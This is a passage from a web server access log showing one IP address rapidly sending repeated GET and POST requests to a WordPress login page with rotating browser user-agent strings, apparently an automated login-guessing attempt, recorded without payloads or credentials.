rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:45 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:46 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:46 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:52 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:52 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:52 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:52 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:52 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:52 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:52 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:52 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:52 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:52 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:53 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:53 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:53 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:53 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:53 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:53 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:53 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:53 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:53 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:53 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:53 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:54 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:54 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:54 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:54 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:54 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:54 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:54 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:54 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:55 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 